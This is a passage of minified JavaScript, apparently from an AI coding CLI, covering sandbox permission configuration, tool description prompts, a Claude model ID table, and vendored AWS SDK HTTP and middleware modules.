view the file at the path. This tool will work with all temporary file paths. - If you read a file that exists but has empty contents you will receive a system reminder warning in place of file contents.`});import{resolve as uc1,join as DO5}from"path";import{statSync as jO5,readFileSync as MO5}from"fs";function KCA(A){let K=A.match(/^([^(]+)\(([^)]+)\)$/);if(!K)return{toolName:A};let q=K[1],Y=K[2];if(!q||!Y)return{toolName:A};return{toolName:q,ruleContent:Y}}function PO5(A){return A.match(/^(.+):\*$/)?.[1]??null}function xc1(A,K){if(A.startsWith("//"))return A.slice(1);if(A.startsWith("/")&&!A.startsWith("//")){let q=nJA(K);return uc1(q,A.slice(1))}return A}function Bc1(A){let K=A.permissions||{},q=[],Y=[];for(let G of A.sandbox?.network?.allowedDomains||[])q.push(G);for(let G of K.allow||[]){let Z=KCA(G);if(Z.toolName===wO&&Z.ruleContent?.startsWith("domain:"))q.push(Z.ruleContent.substring(7))}for(let G of K.deny||[]){let Z=KCA(G);if(Z.toolName===wO&&Z.ruleContent?.startsWith("domain:"))Y.push(Z.ruleContent.substring(7))}let z=["."],w=[],H=[],J=XV.map((G)=>pO(G)).filter((G)=>G!==void 0);w.push(...J);let O=bg(),X=V8();if(O!==X)w.push(uc1(O,".claude","settings.json")),w.push(uc1(O,".claude","settings.local.json"));let $=DO5(O,".git");try{if(jO5($).isFile()){let W=MO5($,{encoding:"utf8"}).match(/^gitdir:\s*(.+)$/m);if(W?.[1]){let D=W[1].trim(),j=D.indexOf(".git");if(j>0){let M=D.substring(0,j-1);if(M!==O)z.push(M)}}}}catch{}for(let G of XV){let Z=E4(G);if(!Z?.permissions)continue;for(let W of Z.permissions.allow||[]){let D=KCA(W);if(D.toolName===m5&&D.ruleContent)z.push(xc1(D.ruleContent,G))}for(let W of Z.permissions.deny||[]){let D=KCA(W);if(D.toolName===m5&&D.ruleContent)w.push(xc1(D.ruleContent,G));if(D.toolName===eq&&D.ruleContent)H.push(xc1(D.ruleContent,G))}}let _=A.sandbox?.ripgrep?A.sandbox.ripgrep:(()=>{let{rgPath:G,rgArgs:Z}=UwA();return{command:G,args:Z}})();return{network:{allowedDomains:q,deniedDomains:Y,allowUnixSockets:A.sandbox?.network?.allowUnixSockets,allowAllUnixSockets:A.sandbox?.network?.allowAllUnixSockets,allowLocalBinding:A.sandbox?.network?.allowLocalBinding,httpProxyPort:A.sandbox?.network?.httpProxyPort,socksProxyPort:A.sandbox?.network?.socksProxyPort},filesystem:{denyRead:H,allowWrite:z,denyWrite:w},ignoreViolations:A.sandbox?.ignoreViolations,enableWeakerNestedSandbox:A.sandbox?.enableWeakerNestedSandbox,ripgrep:_}}function yx8(){try{let A=J8();return Rx8(A)}catch(A){return h(`Failed to get settings for sandbox check: ${A}`),!1}}function VO5(){let A=J8();return Ix8(A)}function fO5(){let A=J8();return Sx8(A)}function bx8(){try{let A=yq();return hx8(A)}catch(A){return h(`Failed to check enabledPlatforms: ${A}`),!0}}function e11(){if(!Fc1())return!1;if(gc1().errors.length>0)return!1;if(!bx8())return!1;return yx8()}function NO5(){let A=o6();if(A!=="linux"&&A!=="wsl")return[];try{let K=J8();if(!K?.sandbox?.enabled)return[];let q=K?.permissions||{},Y=[],z=(w)=>{let H=w.replace(/\/\*\*$/,"");return/[*?[\]]/.test(H)};for(let w of[...q.allow||[],...q.deny||[]]){let H=KCA(w);if((H.toolName===m5||H.toolName===eq)&&H.ruleContent&&z(H.ruleContent))Y.push(w)}return Y}catch(K){return h(`Failed to get Linux glob pattern warnings: ${K}`),[]}}function TO5(){let A=["flagSettings","policySettings"];for(let K of A){let q=E4(K);if(q?.sandbox?.enabled!==void 0||q?.sandbox?.autoAllowBashIfSandboxed!==void 0||q?.sandbox?.allowUnsandboxedCommands!==void 0)return!0}return!1}async function vO5(A){let K=E4("localSettings");v4("localSettings",{sandbox:{...K?.sandbox,...A.enabled!==void 0&&{enabled:A.enabled},...A.autoAllowBashIfSandboxed!==void 0&&{autoAllowBashIfSandboxed:A.autoAllowBashIfSandboxed},...A.allowUnsandboxedCommands!==void 0&&{allowUnsandboxedCommands:A.allowUnsandboxedCommands}}})}function EO5(){return J8()?.sandbox?.excludedCommands??[]}async function kO5(A,K,q,Y){if(e11())if(li)await li;else throw Error("Sandbox failed to initialize. ");return YO.wrapWithSandbox(A,K,q,Y)}async function CO5(A){if(li)return li;if(!e11())return;let K=J8(),q=Bc1(K);return li=(async()=>{try{await YO.initialize(q,A),mc1=a_.subscribe(()=>{let Y=J8(),z=Bc1(Y);YO.updateConfig(z),h("Sandbox configuration updated from settings change")})}catch(Y){li=void 0,h(`Failed to initialize sandbox: ${Y instanceof Error?Y.message:String(Y)}`)}})(),li}function LO5(){if(!e11())return;let A=J8(),K=Bc1(A);YO.updateConfig(K)}async function RO5(){return mc1?.(),mc1=void 0,Rx8.cache.clear?.(),Ix8.cache.clear?.(),Sx8.cache.clear?.(),hx8.cache.clear?.(),gc1.cache.clear?.(),Fc1.cache.clear?.(),li=void 0,YO.reset()}function xx8(A,K){let q=E4("localSettings"),Y=q?.sandbox?.excludedCommands||[],z=A;if(K){let w=K.filter((H)=>H.type==="addRules"&&H.rules.some((J)=>J.toolName===G7));if(w.length>0&&w[0].type==="addRules"){let H=w[0].rules.find((J)=>J.toolName===G7);if(H?.ruleContent)z=PO5(H.ruleContent)||H.ruleContent}}if(!Y.includes(z))v4("localSettings",{sandbox:{...q?.sandbox,excludedCommands:[...Y,z]}});return z}var li,mc1,gc1,Rx8,Ix8,Sx8,Fc1,hx8,S8;var SH=k(()=>{ab8();B5();I8();GJ();q6();Z1();ci();maA();cO();wb();gc1=z6(()=>{let{rgPath:A,rgArgs:K}=UwA();return YO.checkDependencies({command:A,args:K})}),Rx8=z6((A)=>{return A?.sandbox?.enabled??!1});Ix8=z6((A)=>{return A?.sandbox?.autoAllowBashIfSandboxed??!0});Sx8=z6((A)=>{return A?.sandbox?.allowUnsandboxedCommands??!0});Fc1=z6(()=>{return YO.isSupportedPlatform()}),hx8=z6((A)=>{let K=A?.sandbox?.enabledPlatforms;if(K===void 0)return!0;if(K.length===0)return!1;let q=o6();return K.includes(q)});S8={initialize:CO5,isSandboxingEnabled:e11,isSandboxEnabledInSettings:yx8,isPlatformInEnabledList:bx8,isAutoAllowBashIfSandboxedEnabled:VO5,areUnsandboxedCommandsAllowed:fO5,areSandboxSettingsLockedByPolicy:TO5,setSandboxSettings:vO5,getExcludedCommands:EO5,wrapWithSandbox:kO5,refreshConfig:LO5,reset:RO5,checkDependencies:gc1,getFsReadConfig:YO.getFsReadConfig,getFsWriteConfig:YO.getFsWriteConfig,getNetworkRestrictionConfig:YO.getNetworkRestrictionConfig,getIgnoreViolations:YO.getIgnoreViolations,getLinuxGlobPatternWarnings:NO5,isSupportedPlatform:Fc1,getAllowUnixSockets:YO.getAllowUnixSockets,getAllowLocalBinding:YO.getAllowLocalBinding,getEnableWeakerNestedSandbox:YO.getEnableWeakerNestedSandbox,getProxyPort:YO.getProxyPort,getSocksProxyPort:YO.getSocksProxyPort,getLinuxHttpSocketPath:YO.getLinuxHttpSocketPath,getLinuxSocksSocketPath:YO.getLinuxSocksSocketPath,waitForNetworkInitialization:YO.waitForNetworkInitialization,getSandboxViolationStore:YO.getSandboxViolationStore,annotateStderrWithSandboxFailures:YO.annotateStderrWithSandboxFailures}});var hH="Glob",Qc1=`- Fast file pattern matching tool that works with any codebase size - Supports glob patterns like "**/*.js" or "src/**/*.ts" - Returns matching file paths sorted by modification time - Use this tool when you need to find files by name patterns - When you are doing an open ended search that may require multiple rounds of globbing and grepping, use the Agent tool instead - You can call multiple tools in a single response. It is always better to speculatively perform multiple searches in parallel if they are potentially useful.`;var Nq="Task";function Uc1(){return`A powerful search tool built on ripgrep Usage: - ALWAYS use ${Fz} for search tasks. NEVER invoke \`grep\` or \`rg\` as a ${G7} command. The ${Fz} tool has been optimized for correct permissions and access. - Supports full regex syntax (e.g., "log.*Error", "function\\s+\\w+") - Filter files with glob parameter (e.g., "*.js", "**/*.tsx") or type parameter (e.g., "js", "py", "rust") - Output modes: "content" shows matching lines, "files_with_matches" shows only file paths (default), "count" shows match counts - Use ${Nq} tool for open-ended searches requiring multiple rounds - Pattern syntax: Uses ripgrep (not grep) - literal braces need escaping (use \`interface\\{\\}\` to find \`interface{}\` in Go code) - Multiline matching: By default patterns match within single lines only. For cross-line patterns like \`struct \\{[\\s\\S]*?field\`, use \`multiline: true\` `}var Fz="Grep";var rE=()=>{};function yO5(){if(G4("tengu_marble_kite",!1))return"";return` - If this is an existing file, you MUST use the ${eq} tool first to read the file's contents. This tool will fail if you did not read the file first.`}function ux8(){return`Writes a file to the local filesystem. Usage: - This tool will overwrite the existing file if there is one at the provided path.${yO5()} - ALWAYS prefer editing existing files in the codebase. NEVER write new files unless explicitly required. - NEVER proactively create documentation files (*.md) or README files. Only create documentation files if explicitly requested by the User. - Only use emojis if the user explicitly requests it. Avoid writing emojis to files unless asked.`}var Qz="Write";var jV=k(()=>{B7();cO()});var ZD="NotebookEdit";function qCA(){let A=new Date,K=A.getFullYear(),q=String(A.getMonth()+1).padStart(2,"0"),Y=String(A.getDate()).padStart(2,"0");return`${K}-${q}-${Y}`}function Bx8(){let A=Number(qCA().slice(0,4));return` - Allows Claude to search the web and use the results to inform responses - Provides up-to-date information for current events and recent data - Returns search result information formatted as search result blocks, including links as markdown hyperlinks - Use this tool for accessing information beyond Claude's knowledge cutoff - Searches are performed automatically within a single API call CRITICAL REQUIREMENT - You MUST follow this: - After answering the user's question, you MUST include a "Sources:" section at the end of your response - In the Sources section, list all relevant URLs from the search results as markdown hyperlinks: [Title](URL) - This is MANDATORY - never skip including sources in your response - Example format: [Your answer here] Sources: - [Source Title 1](https://example.com/1) - [Source Title 2](https://example.com/2) Usage notes: - Domain filtering is supported to include or block specific websites - Web search is only available in the US IMPORTANT - Use the correct year in search queries: - Today's date is ${qCA()}. You MUST use this year when searching for recent information, documentation, or current events. - Example: If the user asks for "latest React docs", search for "React documentation ${A}", NOT "React documentation ${A-1}" `}var oE="WebSearch";var d6A=()=>{};function Fx8(A){let{hasThinking:K=!1}=A??{},q=[];if(K&&G4("tengu_marble_anvil",!1))q.push({type:"clear_thinking_20251015",keep:"all"});return q.length>0?{edits:q}:void 0}var mx8=180000,gx8=40000,IO5,SO5;var Qx8=k(()=>{l6();B7();rE();cO();jV();d6A();IO5=[G7,hH,Fz,eq,wO,oE],SO5=[m5,Qz,ZD]});function Ux8(A){if(c7()==="foundry")return;let K=A.toLowerCase();if(K.includes("claude-sonnet-4-5")&&K.includes("[1m]"))return"Sonnet 4.5 (with 1M context)";if(K.includes("claude-sonnet-4-5"))return"Sonnet 4.5";if(K.includes("claude-sonnet-4")&&K.includes("[1m]"))return"Sonnet 4 (with 1M context)";if(K.includes("claude-sonnet-4"))return"Sonnet 4";if(K.includes("claude-opus-4-5"))return"Opus 4.5";if(K.includes("claude-opus-4-1"))return"Opus 4.1";if(K.includes("claude-opus-4"))return"Opus 4";if(K.includes("claude-3-7-sonnet"))return"Claude 3.7 Sonnet";if(K.includes("claude-3-5-sonnet"))return"Claude 3.5 Sonnet";if(K.includes("claude-haiku-4-5"))return"Haiku 4.5";if(K.includes("claude-3-5-haiku"))return"Claude 3.5 Haiku";return}var YCA,zCA,wCA,HCA,c6A,pc1,JCA,OCA,l6A;var rJA=k(()=>{IH();YCA={firstParty:"claude-3-7-sonnet-20250219",bedrock:"us.anthropic.claude-3-7-sonnet-20250219-v1:0",vertex:"claude-3-7-sonnet@20250219",foundry:"claude-3-7-sonnet"},zCA={firstParty:"claude-3-5-sonnet-20241022",bedrock:"anthropic.claude-3-5-sonnet-20241022-v2:0",vertex:"claude-3-5-sonnet-v2@20241022",foundry:"claude-3-5-sonnet"},wCA={firstParty:"claude-3-5-haiku-20241022",bedrock:"us.anthropic.claude-3-5-haiku-20241022-v1:0",vertex:"claude-3-5-haiku@20241022",foundry:"claude-3-5-haiku"},HCA={firstParty:"claude-haiku-4-5-20251001",bedrock:"us.anthropic.claude-haiku-4-5-20251001-v1:0",vertex:"claude-haiku-4-5@20251001",foundry:"claude-haiku-4-5"},c6A={firstParty:"claude-sonnet-4-20250514",bedrock:"us.anthropic.claude-sonnet-4-20250514-v1:0",vertex:"claude-sonnet-4@20250514",foundry:"claude-sonnet-4"},pc1={firstParty:"claude-sonnet-4-5-20250929",bedrock:"us.anthropic.claude-sonnet-4-5-20250929-v1:0",vertex:"claude-sonnet-4-5@20250929",foundry:"claude-sonnet-4-5"},JCA={firstParty:"claude-opus-4-20250514",bedrock:"us.anthropic.claude-opus-4-20250514-v1:0",vertex:"claude-opus-4@20250514",foundry:"claude-opus-4"},OCA={firstParty:"claude-opus-4-1-20250805",bedrock:"us.anthropic.claude-opus-4-1-20250805-v1:0",vertex:"claude-opus-4-1@20250805",foundry:"claude-opus-4-1"},l6A={firstParty:"claude-opus-4-5-20251101",bedrock:"us.anthropic.claude-opus-4-5-20251101-v1:0",vertex:"claude-opus-4-5@20251101",foundry:"claude-opus-4-5"}});var px8=v((mO5)=>{mO5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(mO5.HttpAuthLocation||(mO5.HttpAuthLocation={}));mO5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(mO5.HttpApiKeyAuthLocation||(mO5.HttpApiKeyAuthLocation={}));mO5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(mO5.EndpointURLScheme||(mO5.EndpointURLScheme={}));mO5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(mO5.AlgorithmId||(mO5.AlgorithmId={}));var hO5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>mO5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>mO5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},bO5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},xO5=(A)=>{return hO5(A)},uO5=(A)=>{return bO5(A)};mO5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(mO5.FieldPosition||(mO5.FieldPosition={}));var BO5="__smithy_context";mO5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(mO5.IniSectionType||(mO5.IniSectionType={}));mO5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(mO5.RequestHandlerProtocol||(mO5.RequestHandlerProtocol={}));mO5.SMITHY_CONTEXT_KEY=BO5;mO5.getDefaultClientConfiguration=xO5;mO5.resolveDefaultRuntimeConfig=uO5});var ix8=v((iO5)=>{var UO5=px8(),pO5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},dO5=(A)=>{return{httpHandler:A.httpHandler()}};class dx8{name;kind;values;constructor({name:A,kind:K=UO5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class cx8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class A61{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new A61({...A,headers:{...A.headers}});if(K.query)K.query=cO5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return A61.clone(this)}}function cO5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class lx8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function lO5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}iO5.Field=dx8;iO5.Fields=cx8;iO5.HttpRequest=A61;iO5.HttpResponse=lx8;iO5.getHttpHandlerExtensionConfiguration=pO5;iO5.isValidHostname=lO5;iO5.resolveHttpHandlerRuntimeConfig=dO5});var BF=v((Y05)=>{var A05=ix8();function K05(A){return A}var nx8=(A)=>(K)=>async(q)=>{if(!A05.HttpRequest.isInstance(q.request))return K(q);let{request:Y}=q,{handlerProtocol:z=""}=A.requestHandler.metadata||{};if(z.indexOf("h2")>=0&&!Y.headers[":authority"])delete Y.headers.host,Y.headers[":authority"]=Y.hostname+(Y.port?":"+Y.port:"");else if(!Y.headers.host){let w=Y.hostname;if(Y.port!=null)w+=`:${Y.port}`;Y.headers.host=w}return K(q)},rx8={name:"hostHeaderMiddleware",step:"build",priority:"low",tags:["HOST"],override:!0},q05=(A)=>({applyToStack:(K)=>{K.add(nx8(A),rx8)}});Y05.getHostHeaderPlugin=q05;Y05.hostHeaderMiddleware=nx8;Y05.hostHeaderMiddlewareOptions=rx8;Y05.resolveHostHeaderConfig=K05});var mF=v((X05)=>{var ox8=()=>(A,K)=>async(q)=>{try{let Y=await A(q),{clientName:z,commandName:w,logger:H,dynamoDbDocumentClientOptions:J={}}=K,{overrideInputFilterSensitiveLog:O,overrideOutputFilterSensitiveLog:X}=J,$=O??K.inputFilterSensitiveLog,_=X??K.outputFilterSensitiveLog,{$metadata:G,...Z}=Y.output;return H?.info?.({clientName:z,commandName:w,input:$(q.input),output:_(Z),metadata:G}),Y}catch(Y){let{clientName:z,commandName:w,logger:H,dynamoDbDocumentClientOptions:J={}}=K,{overrideInputFilterSensitiveLog:O}=J,X=O??K.inputFilterSensitiveLog;throw H?.error?.({clientName:z,commandName:w,input:X(q.input),error:Y,metadata:Y.$metadata}),Y}},ax8={name:"loggerMiddleware",tags:["LOGGER"],step:"initialize",override:!0},O05=(A)=>({applyToStack:(K)=>{K.add(ox8(),ax8)}});X05.getLoggerPlugin=O05;X05.loggerMiddleware=ox8;X05.loggerMiddlewareOptions=ax8});var tx8=v((Z05)=>{var $CA={REQUEST_ID:Symbol.for("_AWS_LAMBDA_REQUEST_ID"),X_RAY_TRACE_ID:Symbol.for("_AWS_LAMBDA_X_RAY_TRACE_ID"),TENANT_ID:Symbol.for("_AWS_LAMBDA_TENANT_ID")},oc1=["true","1"].includes(process.env?.AWS_LAMBDA_NODEJS_NO_GLOBAL_AWSLAMBDA??"");if(!oc1)globalThis.awslambda=globalThis.awslambda||{};class K61{static PROTECTED_KEYS=$CA;isProtectedKey(A){return Object.values($CA).includes(A)}getRequestId(){return this.get($CA.REQUEST_ID)??"-"}getXRayTraceId(){return this.get($CA.X_RAY_TRACE_ID)}getTenantId(){return this.get($CA.TENANT_ID)}}class sx8 extends K61{currentContext;getContext(){return this.currentContext}hasContext(){return this.currentContext!==void 0}get(A){return this.currentContext?.[A]}set(A,K){if(this.isProtectedKey(A))throw Error(`Cannot modify protected Lambda context field: ${String(A)}`);this.currentContext=this.currentContext||{},this.currentContext[A]=K}run(A,K){this.currentContext=A;try{return K()}finally{this.currentContext=void 0}}}class sc1 extends K61{als;static async create(){let A=new sc1,K=await import("node:async_hooks");return A.als=new K.AsyncLocalStorage,A}getContext(){return this.als.getStore()}hasContext(){return this.als.getStore()!==void 0}get(A){return this.als.getStore()?.[A]}set(A,K){if(this.isProtectedKey(A))throw Error(`Cannot modify protected Lambda context field: ${String(A)}`);let q=this.als.getStore();if(!q)throw Error("No context available");q[A]=K}run(A,K){return this.als.run(A,K)}}Z05.InvokeStore=void 0;(function(A){let K=null;async function q(){if(!K)K=(async()=>{let z="AWS_LAMBDA_MAX_CONCURRENCY"in process.env?await sc1.create():new sx8;if(!oc1&&globalThis.awslambda?.InvokeStore)return globalThis.awslambda.InvokeStore;else if(!oc1&&globalThis.awslambda)return globalThis.awslambda.InvokeStore=z,z;else return z})();return K}A.getInstanceAsync=q,A._testing=process.env.AWS_LAMBDA_BENCHMARK_MODE==="1"?{reset:()=>{if(K=null,globalThis.awslambda?.InvokeStore)delete globalThis.awslambda.InvokeStore;globalThis.awslambda={}}}:void 0})(Z05.InvokeStore||(Z05.InvokeStore={}));Z05.InvokeStoreBase=K61});var ex8=v((f05)=>{f05.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(f05.HttpAuthLocation||(f05.HttpAuthLocation={}));f05.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(f05.HttpApiKeyAuthLocation||(f05.HttpApiKeyAuthLocation={}));f05.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(f05.EndpointURLScheme||(f05.EndpointURLScheme={}));f05.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(f05.AlgorithmId||(f05.AlgorithmId={}));var D05=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>f05.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>f05.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},j05=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},M05=(A)=>{return D05(A)},P05=(A)=>{return j05(A)};f05.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(f05.FieldPosition||(f05.FieldPosition={}));var V05="__smithy_context";f05.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(f05.IniSectionType||(f05.IniSectionType={}));f05.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(f05.RequestHandlerProtocol||(f05.RequestHandlerProtocol={}));f05.SMITHY_CONTEXT_KEY=V05;f05.getDefaultClientConfiguration=M05;f05.resolveDefaultRuntimeConfig=P05});var Yu8=v((y05)=>{var E05=ex8(),k05=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},C05=(A)=>{return{httpHandler:A.httpHandler()}};class Au8{name;kind;values;constructor({name:A,kind:K=E05.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class Ku8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class q61{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new q61({...A,headers:{...A.headers}});if(K.query)K.query=L05(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return q61.clone(this)}}function L05(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class qu8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function R05(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}y05.Field=Au8;y05.Fields=Ku8;y05.HttpRequest=q61;y05.HttpResponse=qu8;y05.getHttpHandlerExtensionConfiguration=k05;y05.isValidHostname=R05;y05.resolveHttpHandlerRuntimeConfig=C05});var Hu8=v((zu8)=>{Object.defineProperty(zu8,"__esModule",{value:!0});zu8.recursionDetectionMiddleware=void 0;var m05=tx8(),g05=Yu8(),zl1="X-Amzn-Trace-Id",F05="AWS_LAMBDA_FUNCTION_NAME",Q05="_X_AMZN_TRACE_ID",U05=()=>(A)=>async(K)=>{let{request:q}=K;if(!g05.HttpRequest.isInstance(q))return A(K);let Y=Object.keys(q.headers??{}).find(($)=>$.toLowerCase()===zl1.toLowerCase())??zl1;if(q.headers.hasOwnProperty(Y))return A(K);let z=process.env[F05],w=process.env[Q05],O=(await m05.InvokeStore.getInstanceAsync())?.getXRayTraceId()??w,X=($)=>typeof $==="string"&&$.length>0;if(X(z)&&X(O))q.headers[zl1]=O;return A({...K,request:q})};zu8.recursionDetectionMiddleware=U05});var gF=v((Hl1)=>{var wl1=Hu8(),p05={step:"build",tags:["RECURSION_DETECTION"],name:"recursionDetectionMiddleware",override:!0,priority:"low"},d05=(A)=>({applyToStack:(K)=>{K.add(wl1.recursionDetectionMiddleware(),p05)}});Hl1.getRecursionDetectionPlugin=d05;Object.keys(wl1).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(Hl1,A))Object.defineProperty(Hl1,A,{enumerable:!0,get:function(){return wl1[A]}})})});var Zl1=v((a05)=>{a05.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(a05.HttpAuthLocation||(a05.HttpAuthLocation={}));a05.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(a05.HttpApiKeyAuthLocation||(a05.HttpApiKeyAuthLocation={}));a05.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(a05.EndpointURLScheme||(a05.EndpointURLScheme={}));a05.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(a05.AlgorithmId||(a05.AlgorithmId={}));var l05=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>a05.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>a05.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},i05=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},n05=(A)=>{return l05(A)},r05=(A)=>{return i05(A)};a05.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(a05.FieldPosition||(a05.FieldPosition={}));var o05="__smithy_context";a05.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(a05.IniSectionType||(a05.IniSectionType={}));a05.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(a05.RequestHandlerProtocol||(a05.RequestHandlerProtocol={}));a05.SMITHY_CONTEXT_KEY=o05;a05.getDefaultClientConfiguration=n05;a05.resolveDefaultRuntimeConfig=r05});var Ju8=v((wX5)=>{wX5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(wX5.HttpAuthLocation||(wX5.HttpAuthLocation={}));wX5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(wX5.HttpApiKeyAuthLocation||(wX5.HttpApiKeyAuthLocation={}));wX5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(wX5.EndpointURLScheme||(wX5.EndpointURLScheme={}));wX5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(wX5.AlgorithmId||(wX5.AlgorithmId={}));var AX5=(A)=>{let K=[];if(A.sha256!==void 